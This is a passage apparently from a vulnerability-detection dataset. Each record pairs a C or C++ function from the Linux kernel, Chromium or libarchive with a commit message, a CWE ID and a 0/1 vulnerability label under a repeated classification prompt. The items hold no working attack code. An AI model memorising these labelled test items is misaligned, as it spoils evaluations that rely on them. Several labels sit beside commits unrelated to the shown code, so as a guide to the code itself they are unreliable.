int pages;
len -= avail;
pages = len >> PAGE_SHIFT;
argp->pagelist += pages;
argp->pagelen -= pages * PAGE_SIZE;
len -= pages * PAGE_SIZE;
argp->p = (__be32 *)page_address(argp->pagelist[0]);
argp->pagelist++;
argp->end = argp->p + XDR_QUADLEN(PAGE_SIZE);
}
argp->p += XDR_QUADLEN(len);
DECODE_TAIL;
}
Commit Message: Merge tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux
Pull nfsd updates from Bruce Fields:
"Another RDMA update from Chuck Lever, and a bunch of miscellaneous
bugfixes"
* tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux: (26 commits)
nfsd: Fix up the "supattr_exclcreat" attributes
nfsd: encoders mustn't use unitialized values in error cases
nfsd: fix undefined behavior in nfsd4_layout_verify
lockd: fix lockd shutdown race
NFSv4: Fix callback server shutdown
SUNRPC: Refactor svc_set_num_threads()
NFSv4.x/callback: Create the callback service through svc_create_pooled
lockd: remove redundant check on block
svcrdma: Clean out old XDR encoders
svcrdma: Remove the req_map cache
svcrdma: Remove unused RDMA Write completion handler
svcrdma: Reduce size of sge array in struct svc_rdma_op_ctxt
svcrdma: Clean up RPC-over-RDMA backchannel reply processing
svcrdma: Report Write/Reply chunk overruns
svcrdma: Clean up RDMA_ERROR path
svcrdma: Use rdma_rw API in RPC reply path
svcrdma: Introduce local rdma_rw API helpers
svcrdma: Clean up svc_rdma_get_inv_rkey()
svcrdma: Add helper to save pages under I/O
svcrdma: Eliminate RPCRDMA_SQ_DEPTH_MULT
...
CWE ID: CWE-404
| 0
| 28,132
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void StyleResolver::resetFontSelector()
{
ASSERT(m_fontSelector);
m_fontSelector->unregisterForInvalidationCallbacks(this);
m_fontSelector->clearDocument();
invalidateMatchedPropertiesCache();
m_fontSelector = CSSFontSelector::create(&m_document);
m_fontSelector->registerForInvalidationCallbacks(this);
}
Commit Message: Remove the Simple Default Stylesheet, it's just a foot-gun.
We've been bitten by the Simple Default Stylesheet being out
of sync with the real html.css twice this week.
The Simple Default Stylesheet was invented years ago for Mac:
http://trac.webkit.org/changeset/36135
It nicely handles the case where you just want to create
a single WebView and parse some simple HTML either without
styling said HTML, or only to display a small string, etc.
Note that this optimization/complexity *only* helps for the
very first document, since the default stylesheets are
all static (process-global) variables. Since any real page
on the internet uses a tag not covered by the simple default
stylesheet, not real load benefits from this optimization.
Only uses of WebView which were just rendering small bits
of text might have benefited from this. about:blank would
also have used this sheet.
This was a common application for some uses of WebView back
in those days. These days, even with WebView on Android,
there are likely much larger overheads than parsing the
html.css stylesheet, so making it required seems like the
right tradeoff of code-simplicity for this case.
BUG=319556
Review URL: https://codereview.chromium.org/73723005
git-svn-id: svn://svn.chromium.org/blink/trunk@162153 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 20,854
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: setup_per_cpu_areas (void)
{
/* start_kernel() requires this... */
#ifdef CONFIG_ACPI_HOTPLUG_CPU
prefill_possible_map();
#endif
}
Commit Message: [IA64] Workaround for RSE issue
Problem: An application violating the architectural rules regarding
operation dependencies and having specific Register Stack Engine (RSE)
state at the time of the violation, may result in an illegal operation
fault and invalid RSE state. Such faults may initiate a cascade of
repeated illegal operation faults within OS interruption handlers.
The specific behavior is OS dependent.
Implication: An application causing an illegal operation fault with
specific RSE state may result in a series of illegal operation faults
and an eventual OS stack overflow condition.
Workaround: OS interruption handlers that switch to kernel backing
store implement a check for invalid RSE state to avoid the series
of illegal operation faults.
The core of the workaround is the RSE_WORKAROUND code sequence
inserted into each invocation of the SAVE_MIN_WITH_COVER and
SAVE_MIN_WITH_COVER_R19 macros. This sequence includes hard-coded
constants that depend on the number of stacked physical registers
being 96. The rest of this patch consists of code to disable this
workaround should this not be the case (with the presumption that
if a future Itanium processor increases the number of registers, it
would also remove the need for this patch).
Move the start of the RBS up to a mod32 boundary to avoid some
corner cases.
The dispatch_illegal_op_fault code outgrew the spot it was
squatting in when built with this patch and CONFIG_VIRT_CPU_ACCOUNTING=y
Move it out to the end of the ivt.
Signed-off-by: Tony Luck <tony.luck@intel.com>
CWE ID: CWE-119
| 0
| 6,531
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderProcessHostImpl::FilterURL(bool empty_allowed, GURL* url) {
FilterURL(this, empty_allowed, url);
}
Commit Message: Switching AudioOutputAuthorizationHandler from using AudioManager interface to AudioSystem one.
BUG=672468
CQ_INCLUDE_TRYBOTS=master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Review-Url: https://codereview.chromium.org/2692203003
Cr-Commit-Position: refs/heads/master@{#450939}
CWE ID:
| 0
| 25,980
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void updateRepaintRangeFromBox(RootInlineBox* box, LayoutUnit paginationDelta = 0)
{
m_usesRepaintBounds = true;
m_repaintLogicalTop = min(m_repaintLogicalTop, box->logicalTopVisualOverflow() + min<LayoutUnit>(paginationDelta, 0));
m_repaintLogicalBottom = max(m_repaintLogicalBottom, box->logicalBottomVisualOverflow() + max<LayoutUnit>(paginationDelta, 0));
}
Commit Message: Update containtingIsolate to go back all the way to top isolate from current root, rather than stopping at the first isolate it finds. This works because the current root is always updated with each isolate run.
BUG=279277
Review URL: https://chromiumcodereview.appspot.com/23972003
git-svn-id: svn://svn.chromium.org/blink/trunk@157268 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 27,424
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline unsigned int rt_hash(__be32 daddr, __be32 saddr, int idx,
int genid)
{
return jhash_3words((__force u32)daddr, (__force u32)saddr,
idx, genid)
& rt_hash_mask;
}
Commit Message: net: Compute protocol sequence numbers and fragment IDs using MD5.
Computers have become a lot faster since we compromised on the
partial MD4 hash which we use currently for performance reasons.
MD5 is a much safer choice, and is inline with both RFC1948 and
other ISS generators (OpenBSD, Solaris, etc.)
Furthermore, only having 24-bits of the sequence number be truly
unpredictable is a very serious limitation. So the periodic
regeneration and 8-bit counter have been removed. We compute and
use a full 32-bit sequence number.
For ipv6, DCCP was found to use a 32-bit truncated initial sequence
number (it needs 43-bits) and that is fixed here as well.
Reported-by: Dan Kaminsky <dan@doxpara.com>
Tested-by: Willy Tarreau <w@1wt.eu>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID:
| 0
| 3,292
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: __be32 fib_compute_spec_dst(struct sk_buff *skb)
{
struct net_device *dev = skb->dev;
struct in_device *in_dev;
struct fib_result res;
struct rtable *rt;
struct flowi4 fl4;
struct net *net;
int scope;
rt = skb_rtable(skb);
if ((rt->rt_flags & (RTCF_BROADCAST | RTCF_MULTICAST | RTCF_LOCAL)) ==
RTCF_LOCAL)
return ip_hdr(skb)->daddr;
in_dev = __in_dev_get_rcu(dev);
BUG_ON(!in_dev);
net = dev_net(dev);
scope = RT_SCOPE_UNIVERSE;
if (!ipv4_is_zeronet(ip_hdr(skb)->saddr)) {
fl4.flowi4_oif = 0;
fl4.flowi4_iif = LOOPBACK_IFINDEX;
fl4.daddr = ip_hdr(skb)->saddr;
fl4.saddr = 0;
fl4.flowi4_tos = RT_TOS(ip_hdr(skb)->tos);
fl4.flowi4_scope = scope;
fl4.flowi4_mark = IN_DEV_SRC_VMARK(in_dev) ? skb->mark : 0;
fl4.flowi4_tun_key.tun_id = 0;
if (!fib_lookup(net, &fl4, &res, 0))
return FIB_RES_PREFSRC(net, res);
} else {
scope = RT_SCOPE_LINK;
}
return inet_select_addr(dev, ip_hdr(skb)->saddr, scope);
}
Commit Message: ipv4: Don't do expensive useless work during inetdev destroy.
When an inetdev is destroyed, every address assigned to the interface
is removed. And in this scenerio we do two pointless things which can
be very expensive if the number of assigned interfaces is large:
1) Address promotion. We are deleting all addresses, so there is no
point in doing this.
2) A full nf conntrack table purge for every address. We only need to
do this once, as is already caught by the existing
masq_dev_notifier so masq_inet_event() can skip this.
Reported-by: Solar Designer <solar@openwall.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Tested-by: Cyrill Gorcunov <gorcunov@openvz.org>
CWE ID: CWE-399
| 0
| 12,015
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int __vcpu_run(struct kvm_vcpu *vcpu)
{
int r;
struct kvm *kvm = vcpu->kvm;
vcpu->srcu_idx = srcu_read_lock(&kvm->srcu);
r = vapic_enter(vcpu);
if (r) {
srcu_read_unlock(&kvm->srcu, vcpu->srcu_idx);
return r;
}
r = 1;
while (r > 0) {
if (vcpu->arch.mp_state == KVM_MP_STATE_RUNNABLE &&
!vcpu->arch.apf.halted)
r = vcpu_enter_guest(vcpu);
else {
srcu_read_unlock(&kvm->srcu, vcpu->srcu_idx);
kvm_vcpu_block(vcpu);
vcpu->srcu_idx = srcu_read_lock(&kvm->srcu);
if (kvm_check_request(KVM_REQ_UNHALT, vcpu)) {
kvm_apic_accept_events(vcpu);
switch(vcpu->arch.mp_state) {
case KVM_MP_STATE_HALTED:
vcpu->arch.pv.pv_unhalted = false;
vcpu->arch.mp_state =
KVM_MP_STATE_RUNNABLE;
case KVM_MP_STATE_RUNNABLE:
vcpu->arch.apf.halted = false;
break;
case KVM_MP_STATE_INIT_RECEIVED:
break;
default:
r = -EINTR;
break;
}
}
}
if (r <= 0)
break;
clear_bit(KVM_REQ_PENDING_TIMER, &vcpu->requests);
if (kvm_cpu_has_pending_timer(vcpu))
kvm_inject_pending_timer_irqs(vcpu);
if (dm_request_for_irq_injection(vcpu)) {
r = -EINTR;
vcpu->run->exit_reason = KVM_EXIT_INTR;
++vcpu->stat.request_irq_exits;
}
kvm_check_async_pf_completion(vcpu);
if (signal_pending(current)) {
r = -EINTR;
vcpu->run->exit_reason = KVM_EXIT_INTR;
++vcpu->stat.signal_exits;
}
if (need_resched()) {
srcu_read_unlock(&kvm->srcu, vcpu->srcu_idx);
kvm_resched(vcpu);
vcpu->srcu_idx = srcu_read_lock(&kvm->srcu);
}
}
srcu_read_unlock(&kvm->srcu, vcpu->srcu_idx);
vapic_exit(vcpu);
return r;
}
Commit Message: KVM: x86: Convert vapic synchronization to _cached functions (CVE-2013-6368)
In kvm_lapic_sync_from_vapic and kvm_lapic_sync_to_vapic there is the
potential to corrupt kernel memory if userspace provides an address that
is at the end of a page. This patches concerts those functions to use
kvm_write_guest_cached and kvm_read_guest_cached. It also checks the
vapic_address specified by userspace during ioctl processing and returns
an error to userspace if the address is not a valid GPA.
This is generally not guest triggerable, because the required write is
done by firmware that runs before the guest. Also, it only affects AMD
processors and oldish Intel that do not have the FlexPriority feature
(unless you disable FlexPriority, of course; then newer processors are
also affected).
Fixes: b93463aa59d6 ('KVM: Accelerated apic support')
Reported-by: Andrew Honig <ahonig@google.com>
Cc: stable@vger.kernel.org
Signed-off-by: Andrew Honig <ahonig@google.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-20
| 1
| 1,650
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void SessionService::TabClosed(const SessionID& window_id,
const SessionID& tab_id,
bool closed_by_user_gesture) {
if (!tab_id.id())
return; // Hapens when the tab is replaced.
if (!ShouldTrackChangesToWindow(window_id))
return;
IdToRange::iterator i = tab_to_available_range_.find(tab_id.id());
if (i != tab_to_available_range_.end())
tab_to_available_range_.erase(i);
if (find(pending_window_close_ids_.begin(), pending_window_close_ids_.end(),
window_id.id()) != pending_window_close_ids_.end()) {
pending_tab_close_ids_.insert(tab_id.id());
} else if (find(window_closing_ids_.begin(), window_closing_ids_.end(),
window_id.id()) != window_closing_ids_.end() ||
!IsOnlyOneTabLeft() ||
closed_by_user_gesture) {
ScheduleCommand(CreateTabClosedCommand(tab_id.id()));
} else {
pending_tab_close_ids_.insert(tab_id.id());
has_open_trackable_browsers_ = false;
}
}
Commit Message: Metrics for measuring how much overhead reading compressed content states adds.
BUG=104293
TEST=NONE
Review URL: https://chromiumcodereview.appspot.com/9426039
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@123733 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 14,609
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: archive_read_support_format_iso9660(struct archive *_a)
{
struct archive_read *a = (struct archive_read *)_a;
struct iso9660 *iso9660;
int r;
archive_check_magic(_a, ARCHIVE_READ_MAGIC,
ARCHIVE_STATE_NEW, "archive_read_support_format_iso9660");
iso9660 = (struct iso9660 *)calloc(1, sizeof(*iso9660));
if (iso9660 == NULL) {
archive_set_error(&a->archive, ENOMEM,
"Can't allocate iso9660 data");
return (ARCHIVE_FATAL);
}
iso9660->magic = ISO9660_MAGIC;
iso9660->cache_files.first = NULL;
iso9660->cache_files.last = &(iso9660->cache_files.first);
iso9660->re_files.first = NULL;
iso9660->re_files.last = &(iso9660->re_files.first);
/* Enable to support Joliet extensions by default. */
iso9660->opt_support_joliet = 1;
/* Enable to support Rock Ridge extensions by default. */
iso9660->opt_support_rockridge = 1;
r = __archive_read_register_format(a,
iso9660,
"iso9660",
archive_read_format_iso9660_bid,
archive_read_format_iso9660_options,
archive_read_format_iso9660_read_header,
archive_read_format_iso9660_read_data,
archive_read_format_iso9660_read_data_skip,
NULL,
archive_read_format_iso9660_cleanup,
NULL,
NULL);
if (r != ARCHIVE_OK) {
free(iso9660);
return (r);
}
return (ARCHIVE_OK);
}
Commit Message: Issue 717: Fix integer overflow when computing location of volume descriptor
The multiplication here defaulted to 'int' but calculations
of file positions should always use int64_t. A simple cast
suffices to fix this since the base location is always 32 bits
for ISO, so multiplying by the sector size will never overflow
a 64-bit integer.
CWE ID: CWE-190
| 0
| 20,427
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void TabClosedNotificationObserver::ObserveTab(
NavigationController* controller) {
if (!automation_)
return;
if (use_json_interface_) {
AutomationJSONReply(automation_,
reply_message_.release()).SendSuccess(NULL);
} else {
if (for_browser_command_) {
AutomationMsg_WindowExecuteCommand::WriteReplyParams(reply_message_.get(),
true);
} else {
AutomationMsg_CloseTab::WriteReplyParams(reply_message_.get(), true);
}
automation_->Send(reply_message_.release());
}
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 25,009
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline bool unconditional(const struct ipt_ip *ip)
{
static const struct ipt_ip uncond;
return memcmp(ip, &uncond, sizeof(uncond)) == 0;
#undef FWINV
}
Commit Message: netfilter: x_tables: make sure e->next_offset covers remaining blob size
Otherwise this function may read data beyond the ruleset blob.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
CWE ID: CWE-119
| 0
| 18,764
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void InspectorPageAgent::captureScreenshot(ErrorString*, const String*, const int*, const int*, const int*, String*, RefPtr<TypeBuilder::Page::ScreencastFrameMetadata>&)
{
}
Commit Message: DevTools: remove references to modules/device_orientation from core
BUG=340221
Review URL: https://codereview.chromium.org/150913003
git-svn-id: svn://svn.chromium.org/blink/trunk@166493 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID:
| 0
| 26,824
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int lg_wireless_mapping(struct hid_input *hi, struct hid_usage *usage,
unsigned long **bit, int *max)
{
if ((usage->hid & HID_USAGE_PAGE) != HID_UP_CONSUMER)
return 0;
switch (usage->hid & HID_USAGE) {
case 0x1001: lg_map_key_clear(KEY_MESSENGER); break;
case 0x1003: lg_map_key_clear(KEY_SOUND); break;
case 0x1004: lg_map_key_clear(KEY_VIDEO); break;
case 0x1005: lg_map_key_clear(KEY_AUDIO); break;
case 0x100a: lg_map_key_clear(KEY_DOCUMENTS); break;
/* The following two entries are Playlist 1 and 2 on the MX3200 */
case 0x100f: lg_map_key_clear(KEY_FN_1); break;
case 0x1010: lg_map_key_clear(KEY_FN_2); break;
case 0x1011: lg_map_key_clear(KEY_PREVIOUSSONG); break;
case 0x1012: lg_map_key_clear(KEY_NEXTSONG); break;
case 0x1013: lg_map_key_clear(KEY_CAMERA); break;
case 0x1014: lg_map_key_clear(KEY_MESSENGER); break;
case 0x1015: lg_map_key_clear(KEY_RECORD); break;
case 0x1016: lg_map_key_clear(KEY_PLAYER); break;
case 0x1017: lg_map_key_clear(KEY_EJECTCD); break;
case 0x1018: lg_map_key_clear(KEY_MEDIA); break;
case 0x1019: lg_map_key_clear(KEY_PROG1); break;
case 0x101a: lg_map_key_clear(KEY_PROG2); break;
case 0x101b: lg_map_key_clear(KEY_PROG3); break;
case 0x101c: lg_map_key_clear(KEY_CYCLEWINDOWS); break;
case 0x101f: lg_map_key_clear(KEY_ZOOMIN); break;
case 0x1020: lg_map_key_clear(KEY_ZOOMOUT); break;
case 0x1021: lg_map_key_clear(KEY_ZOOMRESET); break;
case 0x1023: lg_map_key_clear(KEY_CLOSE); break;
case 0x1027: lg_map_key_clear(KEY_MENU); break;
/* this one is marked as 'Rotate' */
case 0x1028: lg_map_key_clear(KEY_ANGLE); break;
case 0x1029: lg_map_key_clear(KEY_SHUFFLE); break;
case 0x102a: lg_map_key_clear(KEY_BACK); break;
case 0x102b: lg_map_key_clear(KEY_CYCLEWINDOWS); break;
case 0x102d: lg_map_key_clear(KEY_WWW); break;
/* The following two are 'Start/answer call' and 'End/reject call'
on the MX3200 */
case 0x1031: lg_map_key_clear(KEY_OK); break;
case 0x1032: lg_map_key_clear(KEY_CANCEL); break;
case 0x1041: lg_map_key_clear(KEY_BATTERY); break;
case 0x1042: lg_map_key_clear(KEY_WORDPROCESSOR); break;
case 0x1043: lg_map_key_clear(KEY_SPREADSHEET); break;
case 0x1044: lg_map_key_clear(KEY_PRESENTATION); break;
case 0x1045: lg_map_key_clear(KEY_UNDO); break;
case 0x1046: lg_map_key_clear(KEY_REDO); break;
case 0x1047: lg_map_key_clear(KEY_PRINT); break;
case 0x1048: lg_map_key_clear(KEY_SAVE); break;
case 0x1049: lg_map_key_clear(KEY_PROG1); break;
case 0x104a: lg_map_key_clear(KEY_PROG2); break;
case 0x104b: lg_map_key_clear(KEY_PROG3); break;
case 0x104c: lg_map_key_clear(KEY_PROG4); break;
default:
return 0;
}
return 1;
}
Commit Message: HID: fix a couple of off-by-ones
There are a few very theoretical off-by-one bugs in report descriptor size
checking when performing a pre-parsing fixup. Fix those.
Cc: stable@vger.kernel.org
Reported-by: Ben Hawkes <hawkes@google.com>
Reviewed-by: Benjamin Tissoires <benjamin.tissoires@redhat.com>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
CWE ID: CWE-119
| 0
| 9,816
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool ValidateRangeChecksum(const HistogramBase& histogram,
uint32_t range_checksum) {
const Histogram& casted_histogram =
static_cast<const Histogram&>(histogram);
return casted_histogram.bucket_ranges()->checksum() == range_checksum;
}
Commit Message: Convert DCHECKs to CHECKs for histogram types
When a histogram is looked up by name, there is currently a DCHECK that
verifies the type of the stored histogram matches the expected type.
A mismatch represents a significant problem because the returned
HistogramBase is cast to a Histogram in ValidateRangeChecksum,
potentially causing a crash.
This CL converts the DCHECK to a CHECK to prevent the possibility of
type confusion in release builds.
BUG=651443
R=isherman@chromium.org
Review-Url: https://codereview.chromium.org/2381893003
Cr-Commit-Position: refs/heads/master@{#421929}
CWE ID: CWE-476
| 0
| 15,716
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int hidp_input_event(struct input_dev *dev, unsigned int type, unsigned int code, int value)
{
struct hidp_session *session = input_get_drvdata(dev);
return hidp_queue_event(session, dev, type, code, value);
}
Commit Message: Bluetooth: Fix incorrect strncpy() in hidp_setup_hid()
The length parameter should be sizeof(req->name) - 1 because there is no
guarantee that string provided by userspace will contain the trailing
'\0'.
Can be easily reproduced by manually setting req->name to 128 non-zero
bytes prior to ioctl(HIDPCONNADD) and checking the device name setup on
input subsystem:
$ cat /sys/devices/pnp0/00\:04/tty/ttyS0/hci0/hci0\:1/input8/name
AAAAAA[...]AAAAAAAAf0:af:f0:af:f0:af
("f0:af:f0:af:f0:af" is the device bluetooth address, taken from "phys"
field in struct hid_device due to overflow.)
Cc: stable@vger.kernel.org
Signed-off-by: Anderson Lizardo <anderson.lizardo@openbossa.org>
Acked-by: Marcel Holtmann <marcel@holtmann.org>
Signed-off-by: Gustavo Padovan <gustavo.padovan@collabora.co.uk>
CWE ID: CWE-200
| 0
| 20,955
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static bool check_hw_exists(void)
{
u64 val, val_new = 0;
int i, reg, ret = 0;
/*
* Check to see if the BIOS enabled any of the counters, if so
* complain and bail.
*/
for (i = 0; i < x86_pmu.num_counters; i++) {
reg = x86_pmu_config_addr(i);
ret = rdmsrl_safe(reg, &val);
if (ret)
goto msr_fail;
if (val & ARCH_PERFMON_EVENTSEL_ENABLE)
goto bios_fail;
}
if (x86_pmu.num_counters_fixed) {
reg = MSR_ARCH_PERFMON_FIXED_CTR_CTRL;
ret = rdmsrl_safe(reg, &val);
if (ret)
goto msr_fail;
for (i = 0; i < x86_pmu.num_counters_fixed; i++) {
if (val & (0x03 << i*4))
goto bios_fail;
}
}
/*
* Now write a value and read it back to see if it matches,
* this is needed to detect certain hardware emulators (qemu/kvm)
* that don't trap on the MSR access and always return 0s.
*/
val = 0xabcdUL;
ret = checking_wrmsrl(x86_pmu_event_addr(0), val);
ret |= rdmsrl_safe(x86_pmu_event_addr(0), &val_new);
if (ret || val != val_new)
goto msr_fail;
return true;
bios_fail:
printk(KERN_CONT "Broken BIOS detected, using software events only.\n");
printk(KERN_ERR FW_BUG "the BIOS has corrupted hw-PMU resources (MSR %x is %Lx)\n", reg, val);
return false;
msr_fail:
printk(KERN_CONT "Broken PMU hardware detected, using software events only.\n");
return false;
}
Commit Message: perf, x86: Fix Intel fixed counters base initialization
The following patch solves the problems introduced by Robert's
commit 41bf498 and reported by Arun Sharma. This commit gets rid
of the base + index notation for reading and writing PMU msrs.
The problem is that for fixed counters, the new calculation for
the base did not take into account the fixed counter indexes,
thus all fixed counters were read/written from fixed counter 0.
Although all fixed counters share the same config MSR, they each
have their own counter register.
Without:
$ task -e unhalted_core_cycles -e instructions_retired -e baclears noploop 1 noploop for 1 seconds
242202299 unhalted_core_cycles (0.00% scaling, ena=1000790892, run=1000790892)
2389685946 instructions_retired (0.00% scaling, ena=1000790892, run=1000790892)
49473 baclears (0.00% scaling, ena=1000790892, run=1000790892)
With:
$ task -e unhalted_core_cycles -e instructions_retired -e baclears noploop 1 noploop for 1 seconds
2392703238 unhalted_core_cycles (0.00% scaling, ena=1000840809, run=1000840809)
2389793744 instructions_retired (0.00% scaling, ena=1000840809, run=1000840809)
47863 baclears (0.00% scaling, ena=1000840809, run=1000840809)
Signed-off-by: Stephane Eranian <eranian@google.com>
Cc: peterz@infradead.org
Cc: ming.m.lin@intel.com
Cc: robert.richter@amd.com
Cc: asharma@fb.com
Cc: perfmon2-devel@lists.sf.net
LKML-Reference: <20110319172005.GB4978@quad>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
CWE ID: CWE-189
| 0
| 10,434
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int sco_recv_scodata(struct hci_conn *hcon, struct sk_buff *skb)
{
struct sco_conn *conn = hcon->sco_data;
if (!conn)
goto drop;
BT_DBG("conn %p len %d", conn, skb->len);
if (skb->len) {
sco_recv_frame(conn, skb);
return 0;
}
drop:
kfree_skb(skb);
return 0;
}
Commit Message: Bluetooth: sco: fix information leak to userspace
struct sco_conninfo has one padding byte in the end. Local variable
cinfo of type sco_conninfo is copied to userspace with this uninizialized
one byte, leading to old stack contents leak.
Signed-off-by: Vasiliy Kulikov <segoon@openwall.com>
Signed-off-by: Gustavo F. Padovan <padovan@profusion.mobi>
CWE ID: CWE-200
| 0
| 27,521
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void DownloadManagerImpl::PostInitialization(
DownloadInitializationDependency dependency) {
if (initialized_)
return;
switch (dependency) {
case DOWNLOAD_INITIALIZATION_DEPENDENCY_HISTORY_DB:
history_db_initialized_ = true;
break;
case DOWNLOAD_INITIALIZATION_DEPENDENCY_IN_PROGRESS_CACHE:
in_progress_cache_initialized_ = true;
if (load_history_downloads_cb_) {
base::ThreadTaskRunnerHandle::Get()->PostTask(
FROM_HERE, std::move(load_history_downloads_cb_));
}
break;
case DOWNLOAD_INITIALIZATION_DEPENDENCY_NONE:
default:
NOTREACHED();
break;
}
if (!history_db_initialized_ || !in_progress_cache_initialized_)
return;
#if defined(OS_ANDROID)
for (const auto& guid : cleared_download_guids_on_startup_)
in_progress_manager_->RemoveInProgressDownload(guid);
if (cancelled_download_cleared_from_history_ > 0) {
UMA_HISTOGRAM_COUNTS_1000(
"MobileDownload.CancelledDownloadRemovedFromHistory",
cancelled_download_cleared_from_history_);
}
if (interrupted_download_cleared_from_history_ > 0) {
UMA_HISTOGRAM_COUNTS_1000(
"MobileDownload.InterruptedDownloadsRemovedFromHistory",
interrupted_download_cleared_from_history_);
}
#endif
if (in_progress_downloads_.empty()) {
OnDownloadManagerInitialized();
} else {
GetNextId(base::BindOnce(&DownloadManagerImpl::ImportInProgressDownloads,
weak_factory_.GetWeakPtr()));
}
}
Commit Message: Early return if a download Id is already used when creating a download
This is protect against download Id overflow and use-after-free
issue.
BUG=958533
Change-Id: I2c183493cb09106686df9822b3987bfb95bcf720
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1591485
Reviewed-by: Xing Liu <xingliu@chromium.org>
Commit-Queue: Min Qin <qinmin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#656910}
CWE ID: CWE-416
| 0
| 16,979
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static u64 vmac(unsigned char m[], unsigned int mbytes,
const unsigned char n[16], u64 *tagl,
struct vmac_ctx_t *ctx)
{
u64 *in_n, *out_p;
u64 p, h;
int i;
in_n = ctx->__vmac_ctx.cached_nonce;
out_p = ctx->__vmac_ctx.cached_aes;
i = n[15] & 1;
if ((*(u64 *)(n+8) != in_n[1]) || (*(u64 *)(n) != in_n[0])) {
in_n[0] = *(u64 *)(n);
in_n[1] = *(u64 *)(n+8);
((unsigned char *)in_n)[15] &= 0xFE;
crypto_cipher_encrypt_one(ctx->child,
(unsigned char *)out_p, (unsigned char *)in_n);
((unsigned char *)in_n)[15] |= (unsigned char)(1-i);
}
p = be64_to_cpup(out_p + i);
h = vhash(m, mbytes, (u64 *)0, &ctx->__vmac_ctx);
return le64_to_cpu(p + h);
}
Commit Message: crypto: include crypto- module prefix in template
This adds the module loading prefix "crypto-" to the template lookup
as well.
For example, attempting to load 'vfat(blowfish)' via AF_ALG now correctly
includes the "crypto-" prefix at every level, correctly rejecting "vfat":
net-pf-38
algif-hash
crypto-vfat(blowfish)
crypto-vfat(blowfish)-all
crypto-vfat
Reported-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: Kees Cook <keescook@chromium.org>
Acked-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-264
| 0
| 28,946
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int l2tp_ip_sendmsg(struct sock *sk, struct msghdr *msg, size_t len)
{
struct sk_buff *skb;
int rc;
struct inet_sock *inet = inet_sk(sk);
struct rtable *rt = NULL;
struct flowi4 *fl4;
int connected = 0;
__be32 daddr;
lock_sock(sk);
rc = -ENOTCONN;
if (sock_flag(sk, SOCK_DEAD))
goto out;
/* Get and verify the address. */
if (msg->msg_name) {
DECLARE_SOCKADDR(struct sockaddr_l2tpip *, lip, msg->msg_name);
rc = -EINVAL;
if (msg->msg_namelen < sizeof(*lip))
goto out;
if (lip->l2tp_family != AF_INET) {
rc = -EAFNOSUPPORT;
if (lip->l2tp_family != AF_UNSPEC)
goto out;
}
daddr = lip->l2tp_addr.s_addr;
} else {
rc = -EDESTADDRREQ;
